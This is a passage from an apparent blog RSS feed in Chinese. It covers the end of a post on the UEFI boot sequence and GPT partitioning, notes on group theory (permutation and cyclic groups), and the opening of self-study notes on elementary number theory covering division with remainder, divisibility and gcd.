&lt;li&gt;设置 PC 地址 (对于 x86 架构的 CPU 是 &lt;code&gt;0xFFFFFFF0&lt;/code&gt;)，这个地址由 PCH (主板芯片组) 硬编码至主板的 ROM 上．存放的内容是计算机即将执行的第一条指令：跳转指令 (如 &lt;code&gt;jmp F000:FFF0&lt;/code&gt; 或 &lt;code&gt;jmp F000:E05B&lt;/code&gt;)，跳转地址是固件的起始位置．&lt;/li&gt;
&lt;li&gt;开启指令周期 (取指，解码，执行)．此时 CPU 在 16 位实模式下运行，DRAM 尚未初始化．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;固件运行：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;POST (Power On Self Test，电源自检)：检查关键硬件是否正常工作，对应主板上亮着的 Debug 灯．&lt;/li&gt;
&lt;li&gt;SEC + PEI 阶段：使用 Cache 当作临时内存，初始化内存控制器，让内存可用．
&amp;lt;!-- 3. 在 RAM 上建立 IVT (中断向量表，每个向量指向 ROM 里相应的 ISR (中断服务例程) 入口地址) (CPU 实模式，没有内存保护) 或 IDT (中断描述符表，利用门描述符间接跳转) (CPU 保护模式)． --&amp;gt;&lt;/li&gt;
&lt;li&gt;DXE 阶段：加载驱动程序 (PCI、USB、SATA、Console)，构建 Boot Services (gBS，启动服务，负责内存管理、驱动加载、控制台输出等) 和 Runtime Services (gRT，运行时服务，负责维护系统时间、变量存储、系统重启等)．在这之后，硬盘、显卡、键盘等设备可以开始工作了．&lt;/li&gt;
&lt;li&gt;BDS 阶段：寻找操作系统．UEFI 读取 NVRAM (非易失性内存) 中的 Boot Entries (硬盘的启动顺序表) ：&lt;pre&gt;&lt;code&gt;1. [UEFI: Samsung SSD 970 EVO Plus] -&amp;gt; m.2 固态硬盘 (启动盘)
2. [UEFI: Kingston SSD A400]        -&amp;gt; SATA 固态硬盘
3. [UEFI: USB Flash Drive]          -&amp;gt; U 盘
4. [Legacy: WDC HDD]                -&amp;gt; 机械硬盘
5. [Network: PXE]                   -&amp;gt; 网络启动
&lt;/code&gt;&lt;/pre&gt;
按顺序依次查找 GPT 格式的磁盘，在 GPT 上寻找 ESP (EFI System Partition，EFI 系统分区)，并在 ESP 寻找 &lt;code&gt;.efi&lt;/code&gt; 引导程序 (用于加载操作系统内核至内存，通常是 Boot Loader，如 Windows Boot Manager &lt;code&gt;\EFI\Microsoft\Boot\bootmgfw.efi&lt;/code&gt;，GRUB &lt;code&gt;/boot/grubx64.efi&lt;/code&gt;)．&lt;/li&gt;
&lt;li&gt;TSL 阶段：引导程序开始执行，加载操作系统．以 GRUB 为例，先加载配置文件 &lt;code&gt;/boot/grub/grub.cfg&lt;/code&gt;，显示菜单界面，用户选择操作系统，选择完毕后加载操作系统内核至内存．&lt;/li&gt;
&lt;li&gt;RT 阶段：操作系统完全接管计算机，此时 Boot Services 不可用 (内存管理、硬件访问等功能 UEFI 不再负责，转由操作系统负责)，Runtime Services 继续正常工作．(如果是 Windows，这时屏幕中央开始显示徽标)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip[GPT 格式]
相比 MBR (Master Boot Record, 1983, IBM PC DOS 2.0) 格式，GPT (Globally Unique Identifier Partition Table, GUID Partition Table，全局唯一标识分区) 格式有许多优势：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;格式&lt;/th&gt;
&lt;th&gt;最大分区容量&lt;/th&gt;
&lt;th&gt;最大分区数&lt;/th&gt;
&lt;th&gt;系统&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MBR&lt;/td&gt;
&lt;td&gt;2TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Windows 7 及以下&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT&lt;/td&gt;
&lt;td&gt;9.4ZB&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;Windows 8 及以上&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GPT 表项格式：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;起始字节&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;分区类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;分区 GUID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;起始 LBA (小端序)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;末尾 LBA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;属性 (如 &lt;code&gt;60&lt;/code&gt; 表示只读)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;分区名 (72 字节)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GPT 格式的硬盘 (如 &lt;code&gt;/dev/sda&lt;/code&gt;、&lt;code&gt;/dev/nvme0n1&lt;/code&gt;) 分区类似于&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分区&lt;/th&gt;
&lt;th&gt;容量&lt;/th&gt;
&lt;th&gt;文件系统&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ESP&lt;/td&gt;
&lt;td&gt;≈ 500 MB&lt;/td&gt;
&lt;td&gt;FAT32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;500+ GB&lt;/td&gt;
&lt;td&gt;NTFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arch Linux&lt;/td&gt;
&lt;td&gt;300+ GB&lt;/td&gt;
&lt;td&gt;Btrfs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Swap&lt;/td&gt;
&lt;td&gt;≈ 80 GB&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;:::&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;使用相同指令集的程序，为什么不能跨平台运行？&lt;/h3&gt;
&lt;h3&gt;上下文如何切换？&lt;/h3&gt;
</content:encoded></item><item><title>群论</title><link>https://fuwari.vercel.app/posts/math/algebra/group/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/math/algebra/group/</guid><description>Learn Group Theory in Y minutes</description><pubDate>Sat, 07 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;不定时施工．&lt;/p&gt;
&lt;h2&gt;Q&amp;amp;A&lt;/h2&gt;
&lt;h3&gt;置换&lt;/h3&gt;
&lt;h4&gt;对称群&lt;/h4&gt;
&lt;p&gt;给定任意含 $n$ 个元素的集合 $S$，存在 $n!$ 种置换 $\lambda: S \rightarrow S$，它们在函数复合 $\circ$ 下形成群 $S_n$，称为&lt;strong&gt;对称群&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;置换群&lt;/h4&gt;
&lt;p&gt;:::note
考虑两个有启发性的例子
$$
\begin{array}{ll}
\mathbb Z_p^* = a \mathbb Z_p^&lt;em&gt;, &amp;amp;1 \le a \le p - 1\
\mathbb Z_n^&lt;/em&gt; = a \mathbb Z_n^*, &amp;amp;0 \le a &amp;lt; n, a \perp p
\end{array}
$$
思考更一般的情形：对于任意的有限群 $G$ 和群元 $a \in G$，是否总有
$$
G = aG = {ag: g \in G}
$$
这样的置换？
:::&lt;/p&gt;
&lt;p&gt;:::tip
考虑将 $a$ 作用于 $x$，在有向图上连接 $x \mapsto ax$。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;考虑 $x$ 的出度：封闭性保证 $ax \in G$；&lt;/li&gt;
&lt;li&gt;对于非平凡的 $a \ne e$，不会有自环 $ax \ne x$；&lt;/li&gt;
&lt;li&gt;考虑 $x$ 的入度：若 $az = x$，逆元将保证 $z$ 是存在且唯一的。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;综上，$x$ 的入度和出度均为 $1$。在有限的情况下，该作用必为置换。
更具体地，$G$ 会被划分为若干个有向环 (轨道)，我们将看到这正是置换的循环分解！&lt;/p&gt;
&lt;p&gt;任取 $g \in G$，用 $a$ 不断作用于 $g$ 得到
$$
g, ag, a^2g, ..., a^{m-1}g
$$
群是有限的，终有 $a^m = e$ 使得 $a^mg = g$，我们便得到了 $g$ 所处的轨道。环长 $m$ 正是 $a$ 的阶数，因此只要选定了 $a$，环长、环数都是确定的。我们把公因子提出来，这正是 (左) 陪集 $\langle a \rangle g$。
:::&lt;/p&gt;
&lt;p&gt;在 $n$ 阶群中，$a$ 一共有 $n$ 种选取方式，因此能定义 $n$ 种上面的置换映射 $\lambda_a: x \mapsto ax$，它们又构成了新的集合
$$
\overline{G} = {\lambda_a : a \in G}
$$
我们断言：在函数复合 $\circ$ 下，$\overline{G}$ 构成群。封闭性、幺元都是显然的，结合律请回顾离散数学的函数作为二元关系的定义，最后不难验证 $\lambda_a$ 的逆元是 $\lambda_{a^{-1}}$：这只需要把所有有向边取反即可。我们称 $\overline{G}$ 是&lt;strong&gt;置换群&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;:::important
一共有 $n!$ 个置换，而左乘 $a$ 属于特殊的一类置换，共 $n$ 个，处在一个比较小的结构，但这个结构十分精妙：置换群是对称群的子群，这也可以直接作为定义。&lt;/p&gt;
&lt;p&gt;为什么我们更偏爱置换群呢？因为相比对称群，置换群的置换足够简单：仅含单个参数的规则 $x \mapsto ax$ 就能描述整个置换，而无需给出所有元素被置换后的具体下落。
:::&lt;/p&gt;
&lt;h3&gt;子群&lt;/h3&gt;
&lt;p&gt;:::note
由于非空子群 $H \le G$ 继承了 $G$ 的结合律，以及在 $G$ 中幺元、逆元的唯一性，相比逐一验证群公理，我们可以简化检查。
:::&lt;/p&gt;
&lt;p&gt;设非空子集 $H \subset G$，那么 $H \le G$ 当且仅当
$$
\forall a, b \in H, ab^{-1} \in H
$$&lt;/p&gt;
&lt;h3&gt;循环群&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;对任何群 $G$，我们可以使用群元 $g$ 生成的
$$
\langle g \rangle = {g^k : k \in \mathbb Z}
$$
来洞悉 $G$ 的结构。&lt;/p&gt;
&lt;p&gt;:::tip[$\langle g \rangle$ 是群吗？]
是的，$\langle g \rangle \le G$。首先 $\langle g \rangle \subset G$，其次 $g^{k_1-k_2} \in \langle g \rangle$。
:::&lt;/p&gt;
&lt;p&gt;容易发现，$\langle g^{-1} \rangle = \langle g \rangle$，因此至少有两个群元共享同一个循环子群，除非是平凡子群。&lt;/p&gt;
&lt;p&gt;:::important&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在任何群 $G$ 的内部，处处都是循环子群 $\langle a \rangle$；&lt;/li&gt;
&lt;li&gt;任何群元 $a$ 的阶，都可被视作循环子群 $\langle a \rangle$ 的阶。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h4&gt;无限循环群&lt;/h4&gt;
&lt;p&gt;:::note[生成元]
一个无限循环群 $\langle g \rangle$，生成元有且仅有 $g$ 和 $g^{-1}$。
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
取另一生成元 $g^a$，那么任取群元 $g^b$，方程 $(g^a)^x = g^b$ 总有整数解，即
$$
ax = b
$$
其中 $a, b, x \in \mathbb Z$。在如此严苛的要求下，仅有 $a = \pm 1$ 能够满足这一点：因为 $a \mid b$，而 $b$ 又是任意整数。
:::&lt;/p&gt;
&lt;h4&gt;有限循环群&lt;/h4&gt;
&lt;p&gt;现在我们着眼于有限的情形。&lt;/p&gt;
&lt;p&gt;:::note[何谓循环？]
在有限循环群 $G = \langle g \rangle = {e, g, g^2, \cdots, g^{n-1}}$ 中，我们有
$$
g^n = e
$$
即生成元的阶等于群的阶。进而我们有
$$
g^{k} = g^{k \bmod n}
$$
这意味着在有限循环群上，我们可以把群元间的运算
$$
g^a g^b = g^{a+b} = g^{(a + b) \bmod n}
$$
理解成群指数在 $\mathbb Z_n$ 上的加法。
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
由封闭性，
$$
g^n = g^k, \quad 0 \le k &amp;lt; n
$$
我们断言 $k = 0$，否则有 $g^{n - k} = e$，与 $|G| = n$ 矛盾。
:::&lt;/p&gt;
&lt;p&gt;我们不加证明地给出显然的事实：$g^N = e$ 当且仅当 $n \mid N$，最小的 $N$ 即为 $g$ 的阶。我们开始关心其他群元 $g^k$ 的阶。&lt;/p&gt;
&lt;p&gt;:::note[任何群元的阶]
$n$ 阶循环群 $\langle g \rangle$ 中，任意群元 $g^k$ 的阶
$$
\mathrm{ord}(g^k) = \frac{n}{\gcd(k, n)}
$$
这符合直觉，但又不太显然。
:::&lt;/p&gt;
&lt;p&gt;:::note[生成元]
在有限循环子群 $\langle g \rangle = {e, g, g^2, \cdots, g^{n-1}}$ 中，$g^k$ 是生成元，当且仅当 $k \perp n$。这意味着 $\langle g \rangle$ 恰有 $\varphi(n)$ 个生成元。
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
$$
\begin{aligned}
{g^k \in G : \langle g^k \rangle = G}
&amp;amp;= {g^k \in G : \forall, 0 \le y &amp;lt; n, \exists, x \in \mathbb Z, g^y = (g^k)^x} \
&amp;amp;= {g^k \in G : \forall, 0 \le y &amp;lt; n, \exists, x \in \mathbb Z, y \equiv kx \pmod n} \
&amp;amp;= {g^k \in G : \forall, 0 \le y &amp;lt; n, \gcd(k, n) \mid y} \
&amp;amp;= {g^k \in G : \gcd(k, n) \mid \gcd(0, 1, \cdots, n - 1)} \
&amp;amp;= {g^k \in G : \gcd(k, n) \mid 1} \
&amp;amp;= {g^k \in G : \gcd(k, n) = 1} \
&amp;amp;= {g^k \in G : k \perp n}
\end{aligned}
$$
:::&lt;/p&gt;
</content:encoded></item><item><title>初等数论</title><link>https://fuwari.vercel.app/posts/math/number/start/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/math/number/start/</guid><description>本文是我自学数论的笔记，有些尾巴 (二次互反律、原根、离散对数、抽象代数补充) 还没收好，但暂时不想继续写了．</description><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::caution[前言]
本文是我自学数论的笔记，有些尾巴 (二次互反律、原根、离散对数、抽象代数补充) 还没收好，但暂时不想继续写了．&lt;/p&gt;
&lt;p&gt;之前以为仅靠理解，就能简单运用起数论，来解决算法竞赛涉及的问题，笔记就没做．后来太久没做题，知识基本忘光了，就觉得比较浪费而可惜．加之数论研究的是“&lt;strong&gt;数的结构&lt;/strong&gt;”，仅仅出于美的欣赏，我也应当在人生的某个阶段学习初等数论．&lt;/p&gt;
&lt;p&gt;于是重新学习初等数论 (约等于从零开始学)，并附上自己的感想和笔记．&lt;/p&gt;
&lt;p&gt;我原先想做类似速查的笔记服务于算法竞赛，但后来不知不觉就给自己加了很多戏，所以读者会觉得我的笔记前半段的内容偏工具向，后半段的内容形式偏自由．我没把精力放在编写偏竞赛向的知识、查 OI Wiki、贴代码实现，而是学习并欣赏抽象理论．&lt;/p&gt;
&lt;p&gt;本来打算把精力主要放在学习别的东西上，但不知为何数论学上头了，笔记写了很久．本来个人水平就有限，却像是编教材一样要求自己 (也许我更适合当数学老师吧)．这下又耗费我寒假的两个星期，又开始焦虑自己学的东西没啥用了，又责怪自己学习不自律了，哎．
:::&lt;/p&gt;
&lt;p&gt;:::warning[这笔记怎么掺了点代数？]
在写这篇笔记前，我只有一点点离散数学课上有关&lt;strong&gt;群论&lt;/strong&gt;的知识，学到后面发现&lt;strong&gt;环论&lt;/strong&gt;和数论有着紧密的联系．抽象代数理论让数论的相关证明得到简化，且更贴近本质．所以这篇笔记后半部分会掺进一些我临时学习的、比较简陋的代数理论，望读者见谅．
:::&lt;/p&gt;
&lt;p&gt;:::warning[为什么这个结论你没给证明？]
可能原因是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;结论过于显然．&lt;/li&gt;
&lt;li&gt;证明思路比较直接．&lt;/li&gt;
&lt;li&gt;证明过程比较繁琐，缺少美感．&lt;/li&gt;
&lt;li&gt;存在运用抽象理论的简洁证明，但个人的水平有限．&lt;/li&gt;
&lt;li&gt;我比较懒，看心情．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::warning[$\mathbb N$ 是什么？]
在数论领域中，我们通常规定&lt;strong&gt;正整数集&lt;/strong&gt; $\mathbb N = {1, 2, \cdots}$，&lt;strong&gt;非负整数集&lt;/strong&gt; $\mathbb N_0 = {0, 1, 2, \cdots}$．
:::&lt;/p&gt;
&lt;h2&gt;整除&lt;/h2&gt;
&lt;p&gt;:::note[带余除法]
设 $a, b \in \mathbb Z$，$b \ne 0$，则存在唯一的 $q, r \in \mathbb Z$，满足 $a = qb + r$，$0 \le r &amp;lt; |b|$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
考虑 $S = { a - qb : q \in \mathbb Z } \cap \mathbb N_0$，显然 $S \neq \empty$ (&lt;strong&gt;Archimedes 公理&lt;/strong&gt;)，由于 $(\mathbb N_0, \le)$ 是&lt;strong&gt;良序的&lt;/strong&gt;，总可取 $r_0 = \min S$，设 $r_0 = a - q_0 b$．我们将证明 $r_0 &amp;lt; |b|$，且这样的 $r_0$ 是唯一的．(反证法) 假设 $r_0 \ge |b|$，则
$$
0 \le r_0 - |b| = a - q_0 b - |b| \in S
$$
这与 $r_0 = \min S$ 矛盾，故 $r_0 &amp;lt; |b|$，存在性得证．再设
$$
a = q_1b + r_1 = q_2 b + r_2
$$
其中 $q_1, r_1, q_2, r_2 \in \mathbb Z$，且 $r_1, r_2 \in [0, |b|)$，两式相减得
$$
(q_1 - q_2)b = r_1 - r_2 \in (-|b|, |b|)
$$
显然只有 $q_1 = q_2$，唯一性得证．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本质上，带余除法就是&lt;strong&gt;从数轴上的点 $a$ 出发，以 $b$ 为步进，移动至某个长度为 $|b|$ 半开半闭的目标区间内&lt;/strong&gt;．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;因为步长和区间长一致，所以可达，区间内存在落点；&lt;/li&gt;
&lt;li&gt;因为区间半开半闭，区间内必然有且仅有一个落点．&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;(&lt;strong&gt;零&lt;/strong&gt;) 若 $a = 0$，则 $q = r = 0$．&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(&lt;strong&gt;符号&lt;/strong&gt;) 在数轴上，从点 $a$ 出发，到达 $[0, |b|)$ 内．当 $b &amp;gt; 0$ 时，$q &amp;gt; 0$ 表示左移，$q &amp;lt; 0$ 表示右移．&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;$a$&lt;/th&gt;
&lt;th&gt;$b$&lt;/th&gt;
&lt;th&gt;$q$&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$+$&lt;/td&gt;
&lt;td&gt;$+$&lt;/td&gt;
&lt;td&gt;$\ge 0$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$+$&lt;/td&gt;
&lt;td&gt;$-$&lt;/td&gt;
&lt;td&gt;$\le 0$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$-$&lt;/td&gt;
&lt;td&gt;$+$&lt;/td&gt;
&lt;td&gt;$-$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$-$&lt;/td&gt;
&lt;td&gt;$-$&lt;/td&gt;
&lt;td&gt;$+$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(&lt;strong&gt;折半&lt;/strong&gt;) 若 $a \ge b &amp;gt; 0$，则 $r &amp;lt; a / 2$，即 $r &amp;lt; \min(|b|, a / 2)$．&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 3 的证明]
容易得知 $q &amp;gt; 0$，即 $q \ge 1$．(反证法) 假设 $r \ge a / 2$，则
$$
0 &amp;lt; r &amp;lt; b \le qb = a - r \le a / 2
$$
显然矛盾．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;直观上讲，剃平后的 $a - r$ 是 $b$ 的倍数，故 $b \le a - r$，但又要 $b &amp;gt; r$，因此临界情况是折半．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::warning[C++]
在 C/C++ 中，&lt;code&gt;a / b&lt;/code&gt; 如何取整，取决于编译器的具体实现．&lt;br /&gt;
但从 &lt;a href=&quot;https://en.cppreference.com/w/c/language/operator_arithmetic&quot;&gt;C99&lt;/a&gt; 和 &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/operator_arithmetic&quot;&gt;C++11&lt;/a&gt; 起，标准规定：&lt;strong&gt;商向零取整&lt;/strong&gt;，即直接舍弃小数部分．&lt;br /&gt;
&lt;code&gt;a % b&lt;/code&gt; 被定义为 &lt;code&gt;a - a / b&lt;/code&gt;，因此取模结果的符号取决于 &lt;code&gt;/&lt;/code&gt; 如何取整．以下断言保证为真：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assert(5 % 3 == 2);
assert(5 % -3 == 2);
assert(-5 % 3 == -2);
assert(-5 % -3 == -2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;形式化地，商向零取整的带余除法 $a = qb + r$ 中，$r$ 的目标区间不是 $[0, |b|)$，而是
$$
r \in
\begin{cases}
[0, |b|),   &amp;amp; a \ge 0, \
(-|b|, 0],  &amp;amp; a &amp;lt; 0.
\end{cases}
$$
:::&lt;/p&gt;
&lt;p&gt;:::note[整除]
在带余除法 $a = qb + r$ 中，若 $r = 0$，称 $b$ &lt;strong&gt;整除&lt;/strong&gt; $a$，$b$ 是 $a$ 的&lt;strong&gt;因数&lt;/strong&gt;，$a$ 是 $b$ 的&lt;strong&gt;倍数&lt;/strong&gt;，记作 $b \mid a$．
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;(&lt;strong&gt;零&lt;/strong&gt;) $n \mid 0$ 对 $n \ne 0$ 恒成立，即 &lt;strong&gt;$0$ 的因数是所有非零整数&lt;/strong&gt;．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;幺&lt;/strong&gt;) $n \mid 1$ 当且仅当 $n = \pm 1$，即 &lt;strong&gt;$1$ 的因数只有 $\pm 1$&lt;/strong&gt;．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;凡因&lt;/strong&gt;) $\pm 1 \mid n$ 和 $\pm n \mid n$ 都恒成立，即&lt;strong&gt;平凡因数&lt;/strong&gt;．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;正负&lt;/strong&gt;) $\pm a \mid \pm b$，$\pm a \mid \mp b$ 互相等价，即&lt;strong&gt;正负不影响因数组成&lt;/strong&gt;．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;有界&lt;/strong&gt;) 若 $a \mid b$ 且 $b \ne 0$，则 $|a| \le |b|$，即&lt;strong&gt;因数向 $0$ 靠拢&lt;/strong&gt;．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;自反&lt;/strong&gt;) 若 $a \mid b$ 且 $b \mid a$，则 $|a| = |b|$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;传递&lt;/strong&gt;) 若 $a \mid b$ 且 $b \mid c$，则 $a \mid c$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;消去&lt;/strong&gt;) 若 $k \ne 0$，则 $ka \mid kb$ 等价于 $a \mid b$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;分解&lt;/strong&gt;) 若 $ab \mid m$，则 $a \mid m$ 且 $b \mid m$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;组合&lt;/strong&gt;) 若 $e \mid a$ 且 $e \mid b$，则 $e \mid (ka + lb)$，其中 $k, l \in \mathbb Z$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 5 的证明]
设 $b = ad \ne 0$，则 $d \ne 0$，即 $|d| \ge 1$，于是
$$
|b| = |ad| = |a| |d| \ge |a|
$$
:::&lt;/p&gt;
&lt;h2&gt;GCD 和 LCM&lt;/h2&gt;
&lt;p&gt;:::note[gcd 和 lcm]
今有 $a, b \in \mathbb Z$，$a^2 + b^2 &amp;gt; 0$．记 $D$ 为 $a$ 和 $b$ 的正公因数集，$M$ 为 $a$ 和 $b$ 的正公倍数集．&lt;br /&gt;
我们称 $a$ 和 $b$ 的&lt;strong&gt;最大 (正) 公因数&lt;/strong&gt;为 $\gcd(a, b) = \max D$，&lt;strong&gt;最小 (正) 公倍数&lt;/strong&gt; $\text{lcm}(a, b) = \min M$．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;由于 $1 \in D$，故 $D \ne \empty$，又因为 $d \le |a|$ 且 $d \le |b|$，因此 $D$ 是有限集，$\gcd(a, b)$ 必然存在；&lt;/li&gt;
&lt;li&gt;由于 $|ab| \in M$，故 $M \ne \empty$，又因为 $M \sub \mathbb N$，且 $(\mathbb N, \le)$ 是良序的，因此 $\text{lcm}(a, b)$ 必然存在．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::important[gcd 的推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;(&lt;strong&gt;零&lt;/strong&gt;) $\gcd(0, n) = n$，其中 $n \ne 0$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;幺&lt;/strong&gt;) $\gcd(1, n) = 1$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;对称&lt;/strong&gt;) $\gcd(a, b) = \gcd(b, a)$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;正负&lt;/strong&gt;) $\gcd(a, b) = \gcd(|a|, |b|)$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;线性&lt;/strong&gt;) 若 $k \in \mathbb Z$，$k \ne 0$，则 $\gcd(ka, kb) = |k|\gcd(a, b)$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;幂性&lt;/strong&gt;) 若 $k \in \mathbb Z$，则 $\gcd(a^k, b^k) = \gcd(a, b)^k$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;最近公共祖先&lt;/strong&gt;) $e \mid \gcd(a, b)$，当且仅当 $e \mid a$ 且 $e \mid b$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 5 的证明]
这里会使用到 Bézout 定理及其推论，详见下文．&lt;/p&gt;
&lt;p&gt;一种证明方法是观察“张成空间”．
$$
\gcd(ka, kb) \mathbb Z = \text{span}(ka, kb) = k ,\text{span}(a, b) = k \gcd(a, b) \mathbb Z
$$
因此 $|\gcd(ka, kb)| = |k \gcd(a, b)|$，即 $\gcd(ka, kb) = |k| \gcd(a, b)$．&lt;/p&gt;
&lt;p&gt;另一种证明方法是相互整除．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先证 $k \gcd(a, b) \mid \gcd(ka, kb)$：由 Bézout 推论，只需证 $k\gcd(a, b) \mid ka$，消去 $k$ 后显然成立．&lt;/li&gt;
&lt;li&gt;再证 $\gcd(ka, kb) \mid k \gcd(a, b)$：欲将其转化为 $\gcd(ka, kb) / k \mid \gcd(a, b)$，需 $k \mid \gcd(ka, kb)$，而这是显然的，因为 $k \mid ka$，随后要证 $\gcd(ka, kb) / k \mid a$，两边同乘以 $k$ 显然成立．
因此 $|\gcd(ka, kb)| = |k \gcd(a, b)|$，即 $\gcd(ka, kb) = |k| \gcd(a, b)$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 6 的证明]
这里会使用到互素相关的结论，详见下文．&lt;br /&gt;
记 $d = \gcd(a, b)$，则 $\dfrac{a}{d} \perp \dfrac{b}{d}$，因此 $\Big(\dfrac{a}{d}\Big)^k \perp \Big(\dfrac{b}{d}\Big)^k$，
$$
\gcd(a^k, b^k) = d^k \gcd\left(\Big(\dfrac{a}{d}\Big)^k, \Big(\dfrac{b}{d}\Big)^k\right) = d^k = \gcd(a, b)^k
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 7 的证明]
